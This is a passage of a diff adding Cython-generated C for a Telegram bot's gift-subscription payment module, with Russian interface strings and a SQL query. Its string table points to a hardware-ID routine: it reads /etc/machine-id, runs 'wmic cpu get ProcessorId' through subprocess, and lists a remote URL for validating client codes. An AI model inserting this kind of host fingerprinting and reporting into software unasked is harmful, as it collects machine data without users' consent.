__Pyx__PyObject_LookupSpecial(PyObject* obj, PyObject* attr_name, int with_error); +#else +#define __Pyx_PyObject_LookupSpecialNoError(o,n) __Pyx_PyObject_GetAttrStrNoError(o,n) +#define __Pyx_PyObject_LookupSpecial(o,n) __Pyx_PyObject_GetAttrStr(o,n) +#endif + +/* RaiseUnboundLocalError.proto */ +static CYTHON_INLINE void __Pyx_RaiseUnboundLocalError(const char *varname); + +/* ReturnWithStopIteration.proto */ +#define __Pyx_ReturnWithStopIteration(value)\ + if (value == Py_None) PyErr_SetNone(PyExc_StopIteration); else __Pyx__ReturnWithStopIteration(value) +static void __Pyx__ReturnWithStopIteration(PyObject* value); + +/* ValidateBasesTuple.proto */ +#if CYTHON_COMPILING_IN_CPYTHON || CYTHON_COMPILING_IN_LIMITED_API || CYTHON_USE_TYPE_SPECS +static int __Pyx_validate_bases_tuple(const char *type_name, Py_ssize_t dictoffset, PyObject *bases); +#endif + +/* PyType_Ready.proto */ +CYTHON_UNUSED static int __Pyx_PyType_Ready(PyTypeObject *t); + +/* Import.proto */ +static PyObject *__Pyx_Import(PyObject *name, PyObject *from_list, int level); + +/* ImportDottedModule.proto */ +static PyObject *__Pyx_ImportDottedModule(PyObject *name, PyObject *parts_tuple); +#if PY_MAJOR_VERSION >= 3 +static PyObject *__Pyx_ImportDottedModule_WalkParts(PyObject *module, PyObject *name, PyObject *parts_tuple); +#endif + +/* ImportFrom.proto */ +static PyObject* __Pyx_ImportFrom(PyObject* module, PyObject* name); + +/* PyMethodNew.proto */ +#if CYTHON_COMPILING_IN_LIMITED_API +static PyObject *__Pyx_PyMethod_New(PyObject *func, PyObject *self, PyObject *typ) { + PyObject *typesModule=NULL, *methodType=NULL, *result=NULL; + CYTHON_UNUSED_VAR(typ); + if (!self) + return __Pyx_NewRef(func); + typesModule = PyImport_ImportModule("types"); + if (!typesModule) return NULL; + methodType = PyObject_GetAttrString(typesModule, "MethodType"); + Py_DECREF(typesModule); + if (!methodType) return NULL; + result = PyObject_CallFunctionObjArgs(methodType, func, self, NULL); + Py_DECREF(methodType); + return result; +} +#elif PY_MAJOR_VERSION >= 3 +static PyObject *__Pyx_PyMethod_New(PyObject *func, PyObject *self, PyObject *typ) { + CYTHON_UNUSED_VAR(typ); + if (!self) + return __Pyx_NewRef(func); + return PyMethod_New(func, self); +} +#else + #define __Pyx_PyMethod_New PyMethod_New +#endif + +/* PyVectorcallFastCallDict.proto */ +#if CYTHON_METH_FASTCALL +static CYTHON_INLINE PyObject *__Pyx_PyVectorcall_FastCallDict(PyObject *func, __pyx_vectorcallfunc vc, PyObject *const *args, size_t nargs, PyObject *kw); +#endif + +/* CythonFunctionShared.proto */ +#define __Pyx_CyFunction_USED +#define __Pyx_CYFUNCTION_STATICMETHOD 0x01 +#define __Pyx_CYFUNCTION_CLASSMETHOD 0x02 +#define __Pyx_CYFUNCTION_CCLASS 0x04 +#define __Pyx_CYFUNCTION_COROUTINE 0x08 +#define __Pyx_CyFunction_GetClosure(f)\ + (((__pyx_CyFunctionObject *) (f))->func_closure) +#if PY_VERSION_HEX < 0x030900B1 || CYTHON_COMPILING_IN_LIMITED_API + #define __Pyx_CyFunction_GetClassObj(f)\ + (((__pyx_CyFunctionObject *) (f))->func_classobj) +#else + #define __Pyx_CyFunction_GetClassObj(f)\ + ((PyObject*) ((PyCMethodObject *) (f))->mm_class) +#endif +#define __Pyx_CyFunction_SetClassObj(f, classobj)\ + __Pyx__CyFunction_SetClassObj((__pyx_CyFunctionObject *) (f), (classobj)) +#define __Pyx_CyFunction_Defaults(type, f)\ + ((type *)(((__pyx_CyFunctionObject *) (f))->defaults)) +#define __Pyx_CyFunction_SetDefaultsGetter(f, g)\ + ((__pyx_CyFunctionObject *) (f))->defaults_getter = (g) +typedef struct { +#if CYTHON_COMPILING_IN_LIMITED_API + PyObject_HEAD + PyObject *func; +#elif PY_VERSION_HEX < 0x030900B1 + PyCFunctionObject func; +#else + PyCMethodObject func; +#endif +#if CYTHON_BACKPORT_VECTORCALL + __pyx_vectorcallfunc func_vectorcall; +#endif +#if PY_VERSION_HEX < 0x030500A0 || CYTHON_COMPILING_IN_LIMITED_API + PyObject *func_weakreflist; +#endif + PyObject *func_dict; + PyObject *func_name; + PyObject *func_qualname; + PyObject *func_doc; + PyObject *func_globals; + PyObject *func_code; + PyObject *func_closure; +#if PY_VERSION_HEX < 0x030900B1 || CYTHON_COMPILING_IN_LIMITED_API + PyObject *func_classobj; +#endif + void *defaults; + int defaults_pyobjects; + size_t defaults_size; + int flags; + PyObject *defaults_tuple; + PyObject *defaults_kwdict; + PyObject *(*defaults_getter)(PyObject *); + PyObject *func_annotations; + PyObject *func_is_coroutine; +} __pyx_CyFunctionObject; +#undef __Pyx_CyOrPyCFunction_Check +#define __Pyx_CyFunction_Check(obj) __Pyx_TypeCheck(obj, __pyx_CyFunctionType) +#define __Pyx_CyOrPyCFunction_Check(obj) __Pyx_TypeCheck2(obj, __pyx_CyFunctionType, &PyCFunction_Type) +#define __Pyx_CyFunction_CheckExact(obj) __Pyx_IS_TYPE(obj, __pyx_CyFunctionType) +static CYTHON_INLINE int __Pyx__IsSameCyOrCFunction(PyObject *func, void *cfunc); +#undef __Pyx_IsSameCFunction +#define __Pyx_IsSameCFunction(func, cfunc) __Pyx__IsSameCyOrCFunction(func, cfunc) +static PyObject *__Pyx_CyFunction_Init(__pyx_CyFunctionObject* op, PyMethodDef *ml, + int flags, PyObject* qualname, + PyObject *closure, + PyObject *module, PyObject *globals, + PyObject* code); +static CYTHON_INLINE void __Pyx__CyFunction_SetClassObj(__pyx_CyFunctionObject* f, PyObject* classobj); +static CYTHON_INLINE void *__Pyx_CyFunction_InitDefaults(PyObject *m, + size_t size, + int pyobjects); +static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsTuple(PyObject *m, + PyObject *tuple); +static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsKwDict(PyObject *m, + PyObject *dict); +static CYTHON_INLINE void __Pyx_CyFunction_SetAnnotationsDict(PyObject *m, + PyObject *dict); +static int __pyx_CyFunction_init(PyObject *module); +#if CYTHON_METH_FASTCALL +static PyObject * __Pyx_CyFunction_Vectorcall_NOARGS(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames); +static PyObject * __Pyx_CyFunction_Vectorcall_O(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames); +static PyObject * __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames); +static PyObject * __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS_METHOD(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames); +#if CYTHON_BACKPORT_VECTORCALL +#define __Pyx_CyFunction_func_vectorcall(f) (((__pyx_CyFunctionObject*)f)->func_vectorcall) +#else +#define __Pyx_CyFunction_func_vectorcall(f) (((PyCFunctionObject*)f)->vectorcall) +#endif +#endif + +/* CythonFunction.proto */ +static PyObject *__Pyx_CyFunction_New(PyMethodDef *ml, + int flags, PyObject* qualname, + PyObject *closure, + PyObject *module, PyObject *globals, + PyObject* code); + +/* CLineInTraceback.proto */ +#ifdef CYTHON_CLINE_IN_TRACEBACK +#define __Pyx_CLineForTraceback(tstate, c_line) (((CYTHON_CLINE_IN_TRACEBACK)) ? c_line : 0) +#else +static int __Pyx_CLineForTraceback(PyThreadState *tstate, int c_line); +#endif + +/* CodeObjectCache.proto */ +#if !CYTHON_COMPILING_IN_LIMITED_API +typedef struct { + PyCodeObject* code_object; + int code_line; +} __Pyx_CodeObjectCacheEntry; +struct __Pyx_CodeObjectCache { + int count; + int max_count; + __Pyx_CodeObjectCacheEntry* entries; +}; +static struct __Pyx_CodeObjectCache __pyx_code_cache = {0,0,NULL}; +static int __pyx_bisect_code_objects(__Pyx_CodeObjectCacheEntry* entries, int count, int code_line); +static PyCodeObject *__pyx_find_code_object(int code_line); +static void __pyx_insert_code_object(int code_line, PyCodeObject* code_object); +#endif + +/* AddTraceback.proto */ +static void __Pyx_AddTraceback(const char *funcname, int c_line, + int py_line, const char *filename); + +/* GCCDiagnostics.proto */ +#if !defined(__INTEL_COMPILER) && defined(__GNUC__) && (__GNUC__ > 4 || (__GNUC__ == 4 && __GNUC_MINOR__ >= 6)) +#define __Pyx_HAS_GCC_DIAGNOSTIC +#endif + +/* CIntToPy.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyInt_From_long(long value); + +/* FormatTypeName.proto */ +#if CYTHON_COMPILING_IN_LIMITED_API +typedef PyObject *__Pyx_TypeName; +#define __Pyx_FMT_TYPENAME "%U" +static __Pyx_TypeName __Pyx_PyType_GetName(PyTypeObject* tp); +#define __Pyx_DECREF_TypeName(obj) Py_XDECREF(obj) +#else +typedef const char *__Pyx_TypeName; +#define __Pyx_FMT_TYPENAME "%.200s" +#define __Pyx_PyType_GetName(tp) ((tp)->tp_name) +#define __Pyx_DECREF_TypeName(obj) +#endif + +/* CIntFromPy.proto */ +static CYTHON_INLINE long __Pyx_PyInt_As_long(PyObject *); + +/* CIntFromPy.proto */ +static CYTHON_INLINE int __Pyx_PyInt_As_int(PyObject *); + +/* FastTypeChecks.proto */ +#if CYTHON_COMPILING_IN_CPYTHON +#define __Pyx_TypeCheck(obj, type) __Pyx_IsSubtype(Py_TYPE(obj), (PyTypeObject *)type) +#define __Pyx_TypeCheck2(obj, type1, type2) __Pyx_IsAnySubtype2(Py_TYPE(obj), (PyTypeObject *)type1, (PyTypeObject *)type2) +static CYTHON_INLINE int __Pyx_IsSubtype(PyTypeObject *a, PyTypeObject *b); +static CYTHON_INLINE int __Pyx_IsAnySubtype2(PyTypeObject *cls, PyTypeObject *a, PyTypeObject *b); +static CYTHON_INLINE int __Pyx_PyErr_GivenExceptionMatches(PyObject *err, PyObject *type); +static CYTHON_INLINE int __Pyx_PyErr_GivenExceptionMatches2(PyObject *err, PyObject *type1, PyObject *type2); +#else +#define __Pyx_TypeCheck(obj, type) PyObject_TypeCheck(obj, (PyTypeObject *)type) +#define __Pyx_TypeCheck2(obj, type1, type2) (PyObject_TypeCheck(obj, (PyTypeObject *)type1) || PyObject_TypeCheck(obj, (PyTypeObject *)type2)) +#define __Pyx_PyErr_GivenExceptionMatches(err, type) PyErr_GivenExceptionMatches(err, type) +#define __Pyx_PyErr_GivenExceptionMatches2(err, type1, type2) (PyErr_GivenExceptionMatches(err, type1) || PyErr_GivenExceptionMatches(err, type2)) +#endif +#define __Pyx_PyErr_ExceptionMatches2(err1, err2) __Pyx_PyErr_GivenExceptionMatches2(__Pyx_PyErr_CurrentExceptionType(), err1, err2) +#define __Pyx_PyException_Check(obj) __Pyx_TypeCheck(obj, PyExc_Exception) + +/* CheckBinaryVersion.proto */ +static unsigned long __Pyx_get_runtime_version(void); +static int __Pyx_check_binary_version(unsigned long ct_version, unsigned long rt_version, int allow_newer); + +/* InitStrings.proto */ +static int __Pyx_InitStrings(__Pyx_StringTabEntry *t); + +/* #### Code section: module_declarations ### */ + +/* Module declarations from "handlers.payments.gift" */ +/* #### Code section: typeinfo ### */ +/* #### Code section: before_global_var ### */ +#define __Pyx_MODULE_NAME "handlers.payments.gift" +extern int __pyx_module_is_main_handlers__payments__gift; +int __pyx_module_is_main_handlers__payments__gift = 0; + +/* Implementation of "handlers.payments.gift" */ +/* #### Code section: global_var ### */ +static PyObject *__pyx_builtin_open; +/* #### Code section: string_decls ### */ +static const char __pyx_k_1[] = "1"; +static const char __pyx_k_F[] = "F"; +static const char __pyx_k_b[] = " \321\200\321\203\320\261\320\273\320\265\320\271\n\n\320\237\320\276\320\264\321\202\320\262\320\265\321\200\320\264\320\270\321\202\320\265 \320\264\320\260\321\200\320\265\320\275\320\270\320\265 \320\277\320\276\320\264\320\277\320\270\321\201\320\272\320\270."; +static const char __pyx_k_e[] = "e"; +static const char __pyx_k_f[] = "f"; +static const char __pyx_k__2[] = "\360\237\216\201 \320\237\320\276\320\264\320\260\321\200\320\270\321\202\321\214 \320\277\320\276\320\264\320\277\320\270\321\201\320\272\321\203"; +static const char __pyx_k__3[] = "\360\237\216\201 \320\234\320\276\320\270 \320\277\320\276\320\264\320\260\321\200\320\272\320\270"; +static const char __pyx_k__4[] = "\360\237\221\244 \320\233\320\270\321\207\320\275\321\213\320\271 \320\272\320\260\320\261\320\270\320\275\320\265\321\202"; +static const char __pyx_k__6[] = "\360\237\224\231 \320\235\320\260\320\267\320\260\320\264"; +static const char __pyx_k__7[] = "\320\243 \320\262\320\260\321\201 \320\275\320\265\321\202 \320\277\320\276\320\264\320\260\321\200\320\272\320\276\320\262."; +static const char __pyx_k__9[] = "\320\224\320\260"; +static const char __pyx_k_gc[] = "gc"; +static const char __pyx_k_id[] = "id"; +static const char __pyx_k_Any[] = "Any"; +static const char __pyx_k__10[] = "\320\235\320\265\321\202"; +static const char __pyx_k__11[] = "\320\235\320\265 \320\260\320\272\321\202\320\270\320\262\320\270\321\200\320\276\320\262\320\260\320\275"; +static const char __pyx_k__12[] = "\360\237\216\201 \320\237\320\276\320\264\320\260\321\200\320\276\320\272 \320\275\320\260 "; +static const char __pyx_k__13[] = " "; +static const char __pyx_k__14[] = "\320\274\320\265\321\201\321\217\321\206"; +static const char __pyx_k__15[] = "\320\274\320\265\321\201\321\217\321\206\320\260"; +static const char __pyx_k__16[] = "\320\274\320\265\321\201\321\217\321\206\320\265\320\262"; +static const char __pyx_k__17[] = "\n\342\217\263 \320\230\321\201\321\202\320\265\320\272\320\260\320\265\321\202: "; +static const char __pyx_k__18[] = "\n\320\237\320\276\320\273\321\203\321\207\320\260\321\202\320\265\320\273\321\214: "; +static const char __pyx_k__19[] = "\n\320\230\321\201\320\277\320\276\320\273\321\214\320\267\320\276\320\262\320\260\320\275: "; +static const char __pyx_k__20[] = "\n\n"; +static const char __pyx_k__23[] = " \320\267\320\260 "; +static const char __pyx_k__24[] = " \321\200\321\203\320\261\320\273\320\265\320\271"; +static const char __pyx_k__26[] = "|"; +static const char __pyx_k__27[] = "\320\235\320\265\320\262\320\265\321\200\320\275\321\213\320\271 \320\262\321\213\320\261\320\276\321\200. \320\237\320\276\320\277\321\200\320\276\320\261\321\203\320\271\321\202\320\265 \321\201\320\275\320\276\320\262\320\260."; +static const char __pyx_k__29[] = "\342\235\214 \320\243 \320\262\320\260\321\201 \320\275\320\265\320\264\320\276\321\201\321\202\320\260\321\202\320\276\321\207\320\275\320\276 \321\201\321\200\320\265\320\264\321\201\321\202\320\262 \320\264\320\273\321\217 \321\201\320\276\320\267\320\264\320\260\320\275\320\270\321\217 \320\277\320\276\320\264\320\260\321\200\320\272\320\260. \320\237\320\265\321\200\320\265\320\271\320\264\320\270\321\202\320\265 \320\262 \320\273\320\270\321\207\320\275\321\213\320\271 \320\272\320\260\320\261\320\270\320\275\320\265\321\202 \320\264\320\273\321\217 \320\277\320\276\320\277\320\276\320\273\320\275\320\265\320\275\320\270\321\217 \320\261\320\260\320\273\320\260\320\275\321\201\320\260."; +static const char __pyx_k__30[] = "\342\234\205 \320\237\320\276\320\264\321\202\320\262\320\265\321\200\320\264\320\270\321\202\321\214"; +static const char __pyx_k__31[] = "\342\235\214 \320\236\321\202\320\274\320\265\320\275\320\260"; +static const char __pyx_k__33[] = "\342\235\214 \320\236\321\210\320\270\320\261\320\272\320\260 \320\277\321\200\320\270 \320\264\320\260\321\200\320\265\320\275\320\270\320\270 \320\277\320\276\320\264\320\277\320\270\321\201\320\272\320\270: "; +static const char __pyx_k__34[] = "\n\320\237\320\276\320\266\320\260\320\273\321\203\320\271\321\201\321\202\320\260, \320\277\320\276\320\277\321\200\320\276\320\261\321\203\320\271\321\202\320\265 \321\201\320\275\320\276\320\262\320\260."; +static const char __pyx_k__36[] = "\n"; +static const char __pyx_k__40[] = "\320\221\320\276\321\202 \320\261\321\213\320\273 \320\260\320\272\321\202\320\270\320\262\320\270\321\200\320\276\320\262\320\260\320\275 \320\275\320\265 \320\275\320\260 \321\215\321\202\320\276\320\274 \321\203\321\201\321\202\321\200\320\276\320\271\321\201\321\202\320\262\320\265. \320\237\320\276\320\266\320\260\320\273\321\203\320\271\321\201\321\202\320\260 \320\276\320\261\321\200\320\260\321\202\320\270\321\202\320\265\321\201\321\214 \320\262 \320\277\320\276\320\264\320\264\320\265\321\200\320\266\320\272\321\203"; +static const char __pyx_k__42[] = "\320\222\320\260\321\210 \320\261\320\276\321\202 \321\203\321\201\320\277\320\265\321\210\320\275\320\276 \320\260\320\272\321\202\320\270\320\262\320\270\321\200\320\276\320\262\320\260\320\275!."; +static const char __pyx_k__43[] = "\320\236\321\210\320\270\320\261\320\272\320\260: "; +static const char __pyx_k__44[] = "\320\237\320\276\320\273\321\203\321\207\320\270\321\202\320\265 \320\272\320\276\320\264 \320\275\320\260 \321\201\320\260\320\271\321\202\320\265."; +static const char __pyx_k__46[] = "*"; +static const char __pyx_k__47[] = "."; +static const char __pyx_k__58[] = "?"; +static const char __pyx_k_b_2[] = "\360\237\216\211 \320\237\320\276\320\264\320\277\320\270\321\201\320\272\320\260 \320\275\320\260 "; +static const char __pyx_k_b_b[] = "\320\224\320\260\321\200\320\270\321\202\320\265 \320\277\320\276\320\264\320\260\321\200\320\272\320\270 \320\270 \321\201\320\273\320\265\320\264\320\270\321\202\320\265, \321\207\321\202\320\276\320\261\321\213 \320\276\320\275\320\270 \320\264\320\276\321\210\320\273\320\270 \320\264\320\276 \320\260\320\264\321\200\320\265\321\201\320\260\321\202\320\260! \360\237\216\204"; +static const char __pyx_k_get[] = "get"; +static const char __pyx_k_hex[] = "hex"; +static const char __pyx_k_row[] = "row"; +static const char __pyx_k_None[] = "None"; +static const char __pyx_k_args[] = "args"; +static const char __pyx_k_code[] = "\n\n\320\236\320\275\320\260 \320\260\320\272\321\202\320\270\320\262\320\270\321\200\321\203\320\265\321\202 \320\277\320\276\320\264\320\277\320\270\321\201\320\272\321\203 \320\275\320\260 \321\203\320\272\320\260\320\267\320\260\320\275\320\275\321\213\320\271 \321\201\321\200\320\276\320\272."; +static const char __pyx_k_data[] = "data"; +static const char __pyx_k_days[] = "days"; +static const char __pyx_k_exit[] = "__exit__"; +static const char __pyx_k_gift[] = "gift"; +static const char __pyx_k_info[] = "info"; +static const char __pyx_k_json[] = "json"; +static const char __pyx_k_main[] = "__main__"; +static const char __pyx_k_name[] = "__name__"; +static const char __pyx_k_open[] = "open"; +static const char __pyx_k_post[] = "post"; +static const char __pyx_k_read[] = "read"; +static const char __pyx_k_send[] = "send"; +static const char __pyx_k_spec[] = "__spec__"; +static const char __pyx_k_test[] = "__test__"; +static const char __pyx_k_text[] = "text"; +static const char __pyx_k_uuid[] = "uuid"; +static const char __pyx_k_aexit[] = "__aexit__"; +static const char __pyx_k_await[] = "__await__"; +static const char __pyx_k_b_b_2[] = "\320\222\320\260\321\210\320\270 \320\277\320\276\320\264\320\260\321\200\320\272\320\270:\n\n"; +static const char __pyx_k_b_b_3[] = "\320\222\321\213\320\261\320\265\321\200\320\270\321\202\320\265 \321\201\321\200\320\276\320\272 \320\277\320\276\320\264\320\277\320\270\321\201\320\272\320\270 \320\264\320\273\321\217 \320\277\320\276\320\264\320\260\321\200\320\272\320\260:"; +static const char __pyx_k_b_b_4[] = "\n\320\241\321\202\320\276\320\270\320\274\320\276\321\201\321\202\321\214: "; +static const char __pyx_k_b_b_b[] = "\320\237\320\276\320\264\321\202\320\262\320\265\321\200\320\266\320\264\320\265\320\275\320\270\320\265 \320\277\320\276\320\264\320\260\321\200\320\272\320\260:\n\320\237\320\276\320\264\320\277\320\270\321\201\320\272\320\260 \320\275\320\260 "; +static const char __pyx_k_close[] = "close"; +static const char __pyx_k_enter[] = "__enter__"; +static const char __pyx_k_fetch[] = "fetch"; +static const char __pyx_k_gifts[] = "gifts"; +static const char __pyx_k_items[] = "items"; +static const char __pyx_k_price[] = "price"; +static const char __pyx_k_shell[] = "shell"; +static const char __pyx_k_split[] = "split"; +static const char __pyx_k_state[] = "state"; +static const char __pyx_k_strip[] = "strip"; +static const char __pyx_k_tg_id[] = "tg_id"; +static const char __pyx_k_throw[] = "throw"; +static const char __pyx_k_types[] = "types"; +static const char __pyx_k_uuid4[] = "uuid4"; +static const char __pyx_k_Router[] = "Router"; +static const char __pyx_k_aenter[] = "__aenter__"; +static const char __pyx_k_answer[] = "answer"; +static const char __pyx_k_b_code[] = " \320\266\320\264\321\221\321\202 \320\260\320\272\321\202\320\270\320\262\320\260\321\206\320\270\320\270!\n\n\360\237\222\214 \320\236\321\202\320\277\321\200\320\260\320\262\321\214\321\202\320\265 \321\215\321\202\321\203 \321\201\321\201\321\213\320\273\320\272\321\203 \320\277\320\276\320\273\321\203\321\207\320\260\321\202\320\265\320\273\321\216:\n\n "; +static const char __pyx_k_code_2[] = "code"; +static const char __pyx_k_config[] = "config"; +static const char __pyx_k_decode[] = "decode"; +static const char __pyx_k_enable[] = "enable"; +static const char __pyx_k_encode[] = "encode"; +static const char __pyx_k_gift_2[] = "gift|"; +static const char __pyx_k_import[] = "__import__"; +static const char __pyx_k_logger[] = "logger"; +static const char __pyx_k_months[] = "months"; +static const char __pyx_k_result[] = "result"; +static const char __pyx_k_router[] = "router"; +static const char __pyx_k_sha256[] = "sha256"; +static const char __pyx_k_status[] = "status"; +static const char __pyx_k_system[] = "system"; +static const char __pyx_k_typing[] = "typing"; +static const char __pyx_k_utcnow[] = "utcnow"; +static const char __pyx_k_Windows[] = "Windows"; +static const char __pyx_k_aiogram[] = "aiogram"; +static const char __pyx_k_aiohttp[] = "aiohttp"; +static const char __pyx_k_balance[] = "balance"; +static const char __pyx_k_builder[] = "builder"; +static const char __pyx_k_disable[] = "disable"; +static const char __pyx_k_gift_id[] = "gift_id"; +static const char __pyx_k_hashlib[] = "hashlib"; +static const char __pyx_k_is_used[] = "is_used"; +static const char __pyx_k_message[] = "message"; +static const char __pyx_k_payload[] = "payload"; +static const char __pyx_k_profile[] = "profile"; +static const char __pyx_k_session[] = "session"; +static const char __pyx_k_success[] = "success"; +static const char __pyx_k_database[] = "database"; +static const char __pyx_k_datetime[] = "datetime"; +static const char __pyx_k_my_gifts[] = "my_gifts"; +static const char __pyx_k_platform[] = "platform"; +static const char __pyx_k_response[] = "response"; +static const char __pyx_k_strftime[] = "strftime"; +static const char __pyx_k_as_markup[] = "as_markup"; +static const char __pyx_k_d_m_Y_H_M[] = "%d-%m-%Y %H:%M"; +static const char __pyx_k_from_user[] = "from_user"; +static const char __pyx_k_gift_link[] = "gift_link"; +static const char __pyx_k_hexdigest[] = "hexdigest"; +static const char __pyx_k_isenabled[] = "isenabled"; +static const char __pyx_k_recipient[] = "recipient"; +static const char __pyx_k_timedelta[] = "timedelta"; +static const char __pyx_k_CRYPTOSALE[] = "CRYPTOSALE"; +static const char __pyx_k_FSMContext[] = "FSMContext"; +static const char __pyx_k_gifts_text[] = "gifts_text"; +static const char __pyx_k_show_alert[] = "show_alert"; +static const char __pyx_k_startswith[] = "startswith"; +static const char __pyx_k_subprocess[] = "subprocess"; +static const char __pyx_k_user_tg_id[] = "user_tg_id"; +static const char __pyx_k_CLIENT_CODE[] = "CLIENT_CODE"; +static const char __pyx_k_expiry_time[] = "expiry_time"; +static const char __pyx_k_get_balance[] = "get_balance"; +static const char __pyx_k_hardware_id[] = "hardware_id"; +static const char __pyx_k_ud83c_udf81[] = "\\ud83c\\udf81 "; +static const char __pyx_k_21U68SOLOBOT[] = "21U68SOLOBOT"; +static const char __pyx_k_STARS_ROUTER[] = "STARS_ROUTER"; +static const char __pyx_k_check_output[] = "check_output"; +static const char __pyx_k_confirm_gift[] = "confirm_gift|"; +static const char __pyx_k_initializing[] = "_initializing"; +static const char __pyx_k_is_coroutine[] = "_is_coroutine"; +static const char __pyx_k_reply_markup[] = "reply_markup"; +static const char __pyx_k_ClientSession[] = "ClientSession"; +static const char __pyx_k_YOOKASSA_HASH[] = "YOOKASSA_HASH"; +static const char __pyx_k_callback_data[] = "callback_data"; +static const char __pyx_k_get_gift_link[] = "get_gift_link"; +static const char __pyx_k_RENEWAL_PRICES[] = "RENEWAL_PRICES"; +static const char __pyx_k_callback_query[] = "callback_query"; +static const char __pyx_k_etc_machine_id[] = "/etc/machine-id"; +static const char __pyx_k_handlers_texts[] = "handlers.texts"; +static const char __pyx_k_update_balance[] = "update_balance"; +static const char __pyx_k_get_hardware_id[] = "get_hardware_id"; +static const char __pyx_k_recipient_tg_id[] = "recipient_tg_id"; +static const char __pyx_k_selected_months[] = "selected_months"; +static const char __pyx_k_store_gift_link[] = "store_gift_link"; +static const char __pyx_k_HASHHASHYOOKASSA[] = "HASHHASHYOOKASSA"; +static const char __pyx_k_my_gifts_handler[] = "my_gifts_handler"; +static const char __pyx_k_asyncio_coroutines[] = "asyncio.coroutines"; +static const char __pyx_k_cline_in_traceback[] = "cline_in_traceback"; +static const char __pyx_k_start_menu_handler[] = "start_menu_handler"; +static const char __pyx_k_aiogram_fsm_context[] = "aiogram.fsm.context"; +static const char __pyx_k_types_CallbackQuery[] = "types.CallbackQuery"; +static const char __pyx_k_InlineKeyboardButton[] = "InlineKeyboardButton"; +static const char __pyx_k_PROJECTMANECONGIGURE[] = "PROJECTMANECONGIGURE"; +static const char __pyx_k_confirm_gift_handler[] = "confirm_gift_handler"; +static const char __pyx_k_validate_client_code[] = "validate_client_code"; +static const char __pyx_k_InlineKeyboardBuilder[] = "InlineKeyboardBuilder"; +static const char __pyx_k_finalize_gift_handler[] = "finalize_gift_handler"; +static const char __pyx_k_aiogram_utils_keyboard[] = "aiogram.utils.keyboard"; +static const char __pyx_k_handlers_payments_gift[] = "handlers.payments.gift"; +static const char __pyx_k_wmic_cpu_get_ProcessorId[] = "wmic cpu get ProcessorId"; +static const char __pyx_k_gift_subscription_handler[] = "gift_subscription_handler"; +static const char __pyx_k_handlers_payments_gift_py[] = "handlers/payments/gift.py"; +static const char __pyx_k_SELECT_gift_id_selected_months_i[] = "SELECT gift_id, selected_months, is_used, expiry_time, recipient_tg_id FROM gifts WHERE sender_tg_id = $1"; +static const char __pyx_k_https_pocomacho_ru_solonetbot_co[] = "https://pocomacho.ru/solonetbot/codes/add/"; +/* #### Code section: decls ### */ +static PyObject *__pyx_pf_8handlers_8payments_4gift_start_menu_handler(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_4gift_3my_gifts_handler(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_session); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_4gift_6gift_subscription_handler(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_4gift_9confirm_gift_handler(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, CYTHON_UNUSED PyObject *__pyx_v_session); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_4gift_12finalize_gift_handler(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, CYTHON_UNUSED PyObject *__pyx_v_state, PyObject *__pyx_v_session); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_4gift_15get_hardware_id(CYTHON_UNUSED PyObject *__pyx_self); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_4gift_17validate_client_code(CYTHON_UNUSED PyObject *__pyx_self); /* proto */ +static PyObject *__pyx_tp_new_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +static PyObject *__pyx_tp_new_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +static PyObject *__pyx_tp_new_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +static PyObject *__pyx_tp_new_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +static PyObject *__pyx_tp_new_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +static PyObject *__pyx_tp_new_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +/* #### Code section: late_includes ### */ +/* #### Code section: module_state ### */ +typedef struct { + PyObject *__pyx_d; + PyObject *__pyx_b; + PyObject *__pyx_cython_runtime; + PyObject *__pyx_empty_tuple; + PyObject *__pyx_empty_bytes; + PyObject *__pyx_empty_unicode; + #ifdef __Pyx_CyFunction_USED + PyTypeObject *__pyx_CyFunctionType; + #endif + #ifdef __Pyx_FusedFunction_USED + PyTypeObject *__pyx_FusedFunctionType; + #endif + #ifdef __Pyx_Generator_USED + PyTypeObject *__pyx_GeneratorType; + #endif + #ifdef __Pyx_IterableCoroutine_USED + PyTypeObject *__pyx_IterableCoroutineType; + #endif + #ifdef __Pyx_Coroutine_USED + PyTypeObject *__pyx_CoroutineAwaitType; + #endif + #ifdef __Pyx_Coroutine_USED + PyTypeObject *__pyx_CoroutineType; + #endif + #if CYTHON_USE_MODULE_STATE + PyObject *__pyx_type_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler; + PyObject *__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler; + PyObject *__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler; + PyObject *__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler; + PyObject 